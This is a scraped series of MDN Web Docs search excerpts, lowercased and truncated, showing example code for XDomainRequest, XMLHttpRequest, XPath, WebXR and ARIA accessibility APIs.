example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onerror = function(){ //handle error } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.onload - Web APIs
syntax xdr.onload = funcref; example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.onprogress - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onprogress = function(){ //handle partial response with xdr.responsetext } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.ontimeout - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.ontimeout = function(){ //handle timeout } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.open() - Web APIs
example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); specification not part of any specification.
XDomainRequest.send() - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XMLDocument.async - Web APIs
WebAPIXMLDocumentasync
(it has been possible to load documents synchronously since 1.4 alpha.) example function loadxmldata(e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } var xmldoc = document.implementation.createdocument("", "test", null); xmldoc.async = false; xmldoc.onload = loadxmldata; xmldoc.load('querydata.xml'); ...
XMLDocument.load() - Web APIs
WebAPIXMLDocumentload
examples var xmldoc = document.implementation.createdocument("", "test", null); function documentloaded (e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } xmldoc.addeventlistener("load", documentloaded, false); xmldoc.load('querydata.xml'); see also the load sample in the xml tests directory.
Using XMLHttpRequest in IE6 - Web APIs
ng the following code: var request = new xmlhttprequest() however, if you need to also support internet explorer 6 and older, you need to extend your code like this: if (window.xmlhttprequest) { //firefox, opera, ie7, and other browsers will use the native object var request = new xmlhttprequest(); } else { //ie 5 and 6 will use the activex control var request = new activexobject("microsoft.xmlhttp"); } see also using xmlhttprequest ...
XMLHttpRequest.abort() - Web APIs
var xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.send(); if (oh_noes_we_need_to_cancel_right_now_or_else) { xhr.abort(); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.getResponseHeader() - Web APIs
var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xmlhttprequestthe definition of 'g...
XMLHttpRequest.onreadystatechange - Web APIs
examples const xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.onreadystatechange = function () { // in local files, status is 0 upon success in mozilla firefox if(xhr.readystate === xmlhttprequest.done) { var status = xhr.status; if (status === 0 || (status >= 200 && status < 400)) { // the request has been completed successfully console.log(xhr.respon...
XMLHttpRequest.open() - Web APIs
syntax xmlhttprequest.open(method, url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc.
XMLHttpRequest.readyState - Web APIs
if responsetype is "text" or empty string, responsetext will have the partial text response as it loads.
XMLHttpRequest.responseType - Web APIs
the values supported by responsetype are the following: "" an empty responsetype string is treated the same as "text", the default type.
XMLHttpRequest: timeout event - Web APIs
nterface progressevent event handler property ontimeout examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
XMLHttpRequestEventTarget.onerror - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onerror = function () { console.log("** an error occurred during the transaction"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onloadstart - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onloadstart = function () { console.log("download underway"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestResponseType - Web APIs
values "" an empty responsetype string is treated the same as "text", the default type.
XMLSerializer.serializeToString() - Web APIs
elements in the html namespace that have no child nodes (thereby representing empty tags) are serialized with both begin and end tags ("<someelement></someelement>") instead of using the empty-element tag ("<someelement/>").
XPathEvaluator.createExpression() - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe defini...
XPathEvaluator.evaluate() - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var evaluator = new xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that specification.
XPathEvaluator - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe defini...
XPathExpression.evaluate() - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe defini...
XPathExpression - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression(xpath); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definiti...
XPathResult.booleanValue - Web APIs
html <div>xpath example</div> <p>text is 'xpath example': <output></output></p> javascript var xpath = "//div/text() = 'xpath example'"; var result = document.evaluate(xpath, document, null, xpathresult.boolean_type, null); document.queryselector("output").textcontent = result.booleanvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.booleanvalue' in that specification.
XPathResult.iterateNext() - Web APIs
html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); var node = null; var tagnames = []; while(node = result.iteratenext()) { tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificat...
XPathResult.numberValue - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "count(//div)"; var result = document.evaluate(xpath, document, null, xpathresult.number_type, null); document.queryselector("output").textcontent = result.numbervalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.numbervalue' in that specification.
XPathResult.resultType - Web APIs
html <div>xpath example</div> <div>is xpath result a node set: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); document.queryselector("output").textcontent = result.resulttype >= xpathresult.unordered_node_iterator_type && result.resulttype <= xpathresult.first_ordered_node_type; result specifications specification status comment document object model (dom) level 3 xpath specificatio...
XPathResult.singleNodeValue - Web APIs
html <div>xpath example</div> <div>tag name of the element having the text content 'xpath example': <output></output></div> javascript var xpath = "//*[text()='xpath example']"; var result = document.evaluate(xpath, document, null, xpathresult.first_ordered_node_type, null); document.queryselector("output").textcontent = result.singlenodevalue.localname; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.singlenodevalue' in that...
XPathResult.snapshotItem() - Web APIs
html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); var node = null; var tagnames = []; for(var i = 0; i < result.snapshotlength; i++) { var node = result.snapshotitem(i); tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status co...
XPathResult.snapshotLength - Web APIs
html <div>xpath example</div> <div>number of matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotlength' in that specification.
XPathResult.stringValue - Web APIs
html <div>xpath example</div> <div>text content of the &lt;div&gt; above: <output></output></div> javascript var xpath = "//div/text()"; var result = document.evaluate(xpath, document, null, xpathresult.string_type, null); document.queryselector("output").textcontent = result.stringvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.stringvalue' in that specification.
XRInputSource.profiles - Web APIs
each string: has no spaces; instead, words are separated by hyphen ("-") characters if the platform makes it available, the usb vendor and product id may be provided but cannot be relied upon does not uniquely identify a specific device; rather, it identifies a configuration that the product is capable of using does not provide information about handedness of the device, if applicable the webxr input profiles registry is used by device developers and browser d...
XRInputSource.targetRayMode - Web APIs
function updateinputsources(session, frame, refspace) { for (let source of session.getinputsources()) { let targetraypose = frame.getpose(inputsource.targetrayspace, refspace); if (targetraypose) { if (source.targetraymode == "tracked-pointer") { myrendertargetrayasbeam(targetraypose); } } /* ...
XRInputSource.targetRaySpace - Web APIs
function updateinputsources(session, frame, refspace) { for (let source of session.getinputsources()) { let targetraypose = frame.getpose(inputsource.targetrayspace, refspace); if (targetraypose) { if (source.targetraymode == "tracked-pointer") { myrendertargetrayasbeam(targetraypose); } } /* ...
XRInputSourceArray.entries() - Web APIs
let sources = xrsession.inputsources; for (let input of sources.entries()) { if (input.gamepad) { checkgamepad(input.gamepad); } else { if (input.targetraymode === "tracked-pointer" && input.handedness === player.handedness) { /* handle main hand controller */ handlemainhandinput(input); } else { /* handle other inputs */ } } } for each input in the llist, gamepad inputs are dispatched to a checkgamepad() with the input's gamepad object, taken from its gamepad property, as an input for other devices, we look for tracked-...
XRInputSourceArray.forEach() - Web APIs
let inputsources = xrsession.inputsources; inputsources.foreach((input) => { if (input.gamepad) { checkgamepad(input.gamepad); } else { if (input.targetraymode === "tracked-pointer" && input.handedness === player.handedness) { /* handle main hand controller */ handlemainhandinput(input); } else { /* handle other inputs */ } } }); for each input in the llist, the callback dispatches gamepad inputs to a checkgamepad() with the input's gamepad object, taken from its gamepad property, as an input for other devices, we look f...
XRInputSourceArray.length - Web APIs
let sources = xrsession.inputsources; if (sources.length === 0) { showalertdialog("you need to have at least one controller to play super duper shark jump fest 9000.", [ { label: "shop now", url: "https://www.amazon.com/s?k=vr+controllers" }, { label: "quit" handler: quitgame } ]); } here, if length is 0, a hypothetical showalertdialog() function is called with a prompt string explaining the need for a ...
XRInputSourceEvent() - Web APIs
xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status comment webxr device apithe definition of 'xrinputsourceevent' in that specification.
XRInputSourceEvent.inputSource - Web APIs
xrsession.onselect = event => { let source = event.inputsource; if (source.targetraymode == "gaze") { /* handle selection using a gaze input */ } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceevent.inputsource' in that specification.
XRInputSourceEvent - Web APIs
xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status comment webxr device apithe definition of 'xrinputsourceevent' in that specification.
XRInputSourceEventInit.frame - Web APIs
let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.frame' in that specification.
XRInputSourceEventInit.inputSource - Web APIs
let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.inputsource' in that specification.
XRInputSourcesChangeEvent() - Web APIs
let iscevent = new xrinputsourceschangeevent("inputsourceschange", { session: xrsession, added: [newinputsource], removed: [] }); specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent()' in that specification.
XRInputSourcesChangeEvent.added - Web APIs
xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.added' in that specification.
XRInputSourcesChangeEvent.removed - Web APIs
xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.removed' in that specification.
XRInputSourcesChangeEvent - Web APIs
xrsession.addeventlistener("inputsourceschange", oninputsourceschange); function oninputsourceschange(event) { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { loadcontrollermesh(input); } } } you can also add a handler for inputsourceschange events by setting the oninputsourceschange event handler: xrsession.oninputsourceschange = oninputsourceschange; specifications ...
XRInputSourcesChangeEventInit.added - Web APIs
syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource ...
XRInputSourcesChangeEventInit.removed - Web APIs
syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objec...
XRInputSourcesChangeEventInit.session - Web APIs
syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an xrsession indicating the webxr session to which the input source list change applies.
XRPermissionDescriptor.mode - Web APIs
let xrpermissiondesc = { name: "xr", mode: "immersive-vr" }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr();...
XRPermissionDescriptor.requiredFeatures - Web APIs
let xrpermissiondesc = { name: "xr", mode: "immersive-ar", requiredfeatures: [ "local-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { cons...
XRPose.transform - Web APIs
WebAPIXRPosetransform
xrsession.addeventlistener("select", event => { let source = event.inputsource; let frame = event.frame; let targetraypose = frame.getpose(source.targetrayspace, myrefspace); let targetobject = findtargetusingray(targetray.transform.matrix); if (source.targetraymode == "tracked-pointer") { if (source.handedness == user.handedness) { targetobject.primaryaction(); } else { targetobject.offhandact...
XRReferenceSpaceEvent.transform - Web APIs
xrreferencespace.addeventlistener("reset", event => { for (let obj of scene.objects) { mat4.multiply(obj.transform, obj.transform, event.transform); } }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent.transform' in that specification.
XRReferenceSpaceEventInit.referenceSpace - Web APIs
let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.referencespace' in that specification.
XRReferenceSpaceEventInit.transform - Web APIs
let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.transform' in that specification.
XRReferenceSpaceEventInit - Web APIs
let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit' in that specification.
XRReferenceSpaceType - Web APIs
the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
XRRenderState.inlineVerticalFieldOfView - Web APIs
the inlineverticalfieldofview read-only property of the xrrenderstate interface defines the angle of the field of view in radians used when computing projection matrices for "inline" xrsession objects.
XRRenderState.baseLayer - Web APIs
examples you can set the xrwebgllayer used for rendering by calling updaterenderstate(), like this: let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); setnewwebgllayer(); function setnewwebgllayer(gl) { if (!gl) { /* webgl not available */ return; } xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl); }); }; here, the canvas obtained in the first line is the canvas into which webgl is going to draw.
XRRigidTransform() - Web APIs
let animationframerequestid = 0; xrsession.requestreferencespace("local-floor") .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform(viewerposition, viewerorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); }); after requesting a reference space of type local-floor, the returned promise is eventually resolved, at which time we receive a new reference space object, refspace.
XRRigidTransform.matrix - Web APIs
let transform = new xrrigidtransform( {x: 0, y: 0.5, z: 0.5}, {x: 0, y: -0.5, z: -0.5, w: 1}); drawglobject("magic-lamp", transform.matrix); specifications specification status comment webxr device apithe definition of 'xrrigidtransform.matrix' in that specification.
XRSession.cancelAnimationFrame() - Web APIs
const xr = navigator.xr; let requesthandle = null; let xrsession = null; if (xr) { xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { startxr(); } }); } function framecallback(time, xrframe) { xrsession.requestanimationframe(framecallback); // update and render the frame } async function startxr() { xrsession = xr.requestsession("immersive-vr"); if (xrsession) { stopbutton.onclick = stopxr; requesthandle = xrsession.requestanimationframe(framecallback); } } function pausexr() { if (xrsession && requesthandle) { xrsession.cancelanimationframe(requesthandle); requesthandle = null; } } specifications specification status comment webxr device apithe definition of 'xrses...
XRSession: end event - Web APIs
bubbles no cancelable no interface xrsessionevent event handler xrsession.onend example to be informed when a webxr session comes to an end, you can add a handler to your xrsession instance using addeventlistener(), like this: xrsession.addeventlistener("end", function(event) { /* the session has shut down */ }); alternatively, you can use the xrsession.onend event handler property to establish a handler for the end event: xrsession.onend = function(event) { /* the session has shut down */ } specifications specification status comment webxr device apithe definition of 'end event' in that specification.
XRSession.onend - Web APIs
WebAPIXRSessiononend
}; example xrsession.onend = function(event) { console.log("the xr session has ended") } specifications specification status comment webxr device apithe definition of 'xrsession.onend' in that specification.
XRSession.onselect - Web APIs
xrsession.onselect = event => { let source = event.inputsource; if (source.handedness == user.handedness) { if (source.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose); } } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onselect' in that specification.
XRSession.onselectend - Web APIs
} example xrsession.onselectend = function(event) { console.log("the user has completed a primary action.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectend' in that specification.
XRSession.onselectstart - Web APIs
} example xrsession.onselectstart = function(event) { console.log("the user has started a primary action, but might not have completed it.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectstart' in that specification.
XRSession.onvisibilitychange - Web APIs
} example xrsession.onvisibilitychange = function(event) { console.log("the visibility the xr session changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.onvisibilitychange' in that specification.
XRSession.requestReferenceSpace() - Web APIs
the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
XRSession.updateRenderState() - Web APIs
function onxrsessionstarted(xrsession) { let glcanvas = document.createelement("canvas"); let gl = glcanvas.getcontext("webgl", { xrcompatible: true }); loadwebglresources(); xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); } specifications specification status comment webxr device apithe definition of 'xrsession.updaterenderstate()' in that specification.
XRSession: visibilitychange event - Web APIs
examples this example demonstrates how to listen for a visibilitychange event on a webxr session, using addeventlistener() to begin listening for the event: navigator.xr.requestsession("inline").then((xrsession) => { xrsession.addeventlistener("visibilitychange", e => { switch(e.session.visiblitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); }); when a visibility state change occurs, the event is received and dispatched to a functio...
XRSession - Web APIs
WebAPIXRSession
const xr = navigator.xr; if (xr) { xr.requestsession("inline").then((xrsession) => { xrsession.requestreferencespace("local").then((xrreferencespace) => { xrsession.requestanimationframe((time, xrframe) => { let viewer = xrframe.getviewerpose(xrreferencespace); gl.bindframebuffer(xrwebgllayer.framebuffer); for (xrview of viewer.views) { let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewp...
XRSessionEvent() - Web APIs
xrsession.addeventlistener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); specifications specification status comment webxr device apithe definition of 'xrsessionevent() constructor' in that specification.
XRSessionEvent.session - Web APIs
xrsession.addeventlistener("visibilitychange", e => { switch(e.session.visibilitystate) { case "hidden": myenablerendering(true); break; case "visible": case "visible-blurred": myenablerendering(false); break; } }); this calls a function that reacts to the session's visibility state change.
XRSessionEvent - Web APIs
xrsession.addeventlistener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); specifications specification status comment webxr device apithe definition of 'xrsessionevent' in that specification.
XRSystem: isSessionSupported() - Web APIs
if it is, we set up a button to read "enter xr", to call a method onbuttonclicked(), and enable the button.
XRSystem - Web APIs
WebAPIXRSystem
if (navigator.xr) { immersivebutton.addeventlistener("click", onbuttonclicked); navigator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { immersivebutton.disabled = false; } else { immersivebutton.disabled = true; }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then(() => { // onsessionstarted() not shown for reasons of brevi...
XRView.eye - Web APIs
WebAPIXRVieweye
gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); gl.clearcolor(0,0, 0, 1.0); gl.cleardepth(1.0); gl.clear(gl.color_buffer_bit, gl.depth_buffer_bit); for (let view of xrpose.views) { let skipview = false; if (view.eye == "left" && body.lefteye.injured) || skipview = updateinjury(body.lefteye); } else if (view.eye == "right" && body.righteye.injured) { skipview = updateinjury(body.righteye); } if (!skipview) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); renderscene(gl, view); } } for each of the views, the value of eye ...
XRView.transform - Web APIs
WebAPIXRViewtransform
to convert the "camera focused" transform matrix into an "object focused" transform, we use the transform's inverse, thus taking the matrix returned by view.transform.inverse.matrix.
XRWebGLLayerInit.antialias - Web APIs
let options = { antialias: getpreferencevalue("antialiasing") }; let gllayer = new xrwebgllayer(xrsession, gl, options); if (gllayer) { xrsession.updaterenderstate({ baselayer: gllayer }); } offering the user features such as the ability to enable or disable things like anti-aliasing can provide them with optiions to try when your app isn't performing as well as they'd like.
mssitemodejumplistitemremoved - Web APIs
syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note this event is raised once for every item that has been removed since the last time mssitemodeshowjumplist was called.
Using the alertdialog role - Accessibility
<div role="alertdialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <div role="document" tabindex="0"> <h2 id="dialog1title">your login session is about to expire</h2> <p id="dialog1desc">to extend your session, click the ok button</p> <button>ok</button> </div> </div> working examples: tbd notes aria attributes used alertdialog aria-labelledby aria-describedby ...
Using the aria-orientation attribute - Accessibility
<a href="#" id="handle_zoomslider" role="slider" aria-orientation="vertical" aria-valuemin="0" aria-valuemax="17" aria-valuenow="14" > <span>11</span> </a> working examples: slider example notes used with aria roles scrollbar listbox combobox menu tree separator slider tablist toolbar related aria techniques compatibility tbd: add support...
Using the aria-relevant attribute - Accessibility
aria-relevant="additions text" is the default value on a live region.
Using the aria-required attribute - Accessibility
examples example 1: a simple form <form action="post"> <label for="firstname">first name:</label> <input id="firstname" type="text" aria-required="true" /> <br/> <label for="lastname">last name:</label> <input id="lastname" type="text" aria-required="true" /> <br/> <label for="streetaddress">street address:</label> <input id="streetaddress" type="text" /> </form> working examples: tooltip example (inc...
Using the aria-valuemax attribute - Accessibility
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemin aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resou...
Using the aria-valuemin attribute - Accessibility
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemax aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resou...
Using the aria-valuenow attribute - Accessibility
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemax aria-valuemin aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resou...
Using the aria-valuetext attribute - Accessibility
<div role="slider" aria-valuenow="1" aria-valuemin="1" aria-valuemax="7" aria-valuetext="sunday"> working examples: notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuenow compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuetext attribute ...
Using the article role - Accessibility
examples <article role="article"> <header> <h2>blog post</h2> </header> <section class="content"> <p>a very interesting post</p> </section> <section class="comments"> <div class="comment" role="article"> <p>meaningful comment</p> </div> <div class="comment" role="article"> <p>positive comment</p> </div> </section> </article> notes aria attributes used related aria techn...
Using the presentation role - Accessibility
examples example 1: <ul role="tablist"> <li role="presentation"> <a role="tab" href="#">tab 1</a> </li> <li role="presentation"> <a role="tab" href="#">tab 2</a> </li> <li role="presentation"> <a role="tab" href="#">tab 3</a> </li> </ul> working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations ad...
Using the status role - Accessibility
<p role="status">your changes were automatically saved.</p> working examples: notes aria attributes used status related aria techniques alert role live region roles live region attributes compatibility the paciello group published some data on compatibility via their 2014 blog post: screen reader support for aria live regions tbd: add updated support information for common ...
ARIA: tabpanel role - Accessibility
<div role="tablist"> <div role="tab" aria-selected="true" aria-controls="tabpanel-id" id="tab-id" tabindex="0">tab label</div> accessibility concerns optionally, warn of any potential accessibility concerns that exist with using this property, and how to work around them.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
example: shut down computer after minutes <input aria-labelledby="labelshutdown shutdowntime shutdownunit" type="checkbox" /> <span id="labelshutdown">shut down computer after</span> <input aria-labelledby="labelshutdown shutdowntime shutdownunit" id="shutdowntime" type="text" value="10" /> <span id="shutdownunit"> minutes</span> a note for jaws 8 users jaws 8.0 has its own logic to find labels, causing it to always override the accessiblename the textbox of ...
overview - Accessibility
general resources dhtml style guide provides keyboard interaction recommendations wai-aria authoring practices guide checkbox aria toggle button and tri-state checkbox examples (from "the paciello group blog") aria example checkbox widgets from the university of illinois menu using wai-aria roles and states with the yui menu control slider from the paciello group blog: aria slider, part one, part two, part threet (example) creating an accessible, internationalized dojo rating widget tabs enhancing tabview accessibility with wai-aria roles and states, from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 an...
Architecture - Accessibility
example take the following html code: <div>hello<a href="http://www.mozilla.org/access">my link<img src="image.gif">is cool</a>bye</div> both the <a> and <img> are hyperlinks also, both the <div> and <a> are hypertexts so the <a> is both a hypertext and a hyperlink, because it contains text and is contained within text.
Understandable - Accessibility
"labels" can refer to descriptive information in text content, or html form labels.
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
WebCSS--*
formal syntax <declaration-value> example html <p id="firstparagraph">this paragraph should have a blue background and yellow text.</p> <p id="secondparagraph">this paragraph should have a yellow background and blue text.</p> <div id="container"> <p id="thirdparagraph">this paragraph should have a green background and yellow text.</p> </div> css :root { --first-color: #488cff; --second-color: #ffff8c; } #firstparagraph { background-color: ...
-moz-context-properties - CSS: Cascading Style Sheets
